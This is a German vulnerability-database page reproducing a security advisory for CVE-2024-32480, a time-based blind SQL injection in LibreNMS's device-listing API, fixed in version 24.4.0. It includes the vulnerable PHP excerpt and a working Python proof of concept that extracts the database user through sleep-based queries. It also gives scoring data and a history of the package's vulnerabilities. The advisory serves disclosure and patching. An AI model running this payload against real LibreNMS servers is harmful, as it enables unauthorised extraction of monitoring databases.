Hoch

LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction

  • Veröffentlicht: 22.04.2024
  • Aktualisiert: 11.10.2026 10:22

Summary

Get a valid API token, make sure you can access api functions, then replace string on my PoC code, Test on offical OVA image, it's a old version 23.9.1, but this vulerable is also exists on latest version 24.2.0

Details

in file api_functions.php, line 307 for function list_devices

php
$order = $request->get('order');
    $type = $request->get('type');
    $query = $request->get('query');
    $param = [];

    if (empty($order)) {
        $order = 'hostname';
    }

    if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) {
        $order = 'd.`' . $order . '` ASC';
    }
    /* ... */
    $devices = [];
    $dev_query = "SELECT $select FROM `devices` AS d $join WHERE $sql GROUP BY d.`hostname` ORDER BY $order";
    foreach (dbFetchRows($dev_query, $param) as $device) {

The "order" parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability.

PoC

For example. this PoC is get current db user

python
import string
import requests

headers = {
	'X-Auth-Token': 'token_string'
}
req = requests.Session()
payloads = '_-@.,' + string.digits + string.ascii_letters
url = 'http://host/api/v0/devices?order=device_id` and if(ascii(substr(user(),%d,1))=%d,sleep(5),1) and d.`device_id'
result = 'user: '
for i in range(10):
	for payload in payloads:
		try:
			req.get(url % (i+1, ord(payload)), headers=headers, timeout=3)
		except requests.exceptions.ReadTimeout as ex:
			result += payload
			print(result),
		except Exception as e:
			pass

QQ截图20240306181404

Impact

Attacker can extract whole database

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket librenms/librenms < 24.4.0 24.4.0

Verweise

CVSS-Wert 7.2/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-89
Plattform
Composer
Paket
librenms/librenms
Veröffentlicht
22.04.2024
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-jh57-j3vq-h438 - CC BY 4.0

Schwachstellenhistorie: librenms/librenms

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (106) im Archiv
Einträge insgesamt
106
Erste → letzte
10.2019 08.2026
Ohne Fix
6
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 5
  • Hoch 39
  • Mittel 56
  • Niedrig 6

Veröffentlichungen pro Jahr

  1. 2019: 6
  2. 2020: 0
  3. 2021: 7
  4. 2022: 26
  5. 2023: 12
  6. 2024: 24
  7. 2025: 15
  8. 2026: 16
Schweregrad:
  1. LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction dieser Eintrag
    Hoch · 7.2 CVE-2024-32480 < 24.4.0 24.4.0
  2. Hoch · 7.1 CVE-2026-84192 < 26.5.0 26.5.0
  3. Hoch · 7.1 CVE-2020-36947 <= 1.46 keine Korrektur
  4. Kritisch · 9.1 CVE-2024-51092 < 24.10.0 24.10.0
Mehr anzeigen (20) 21 von 44 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.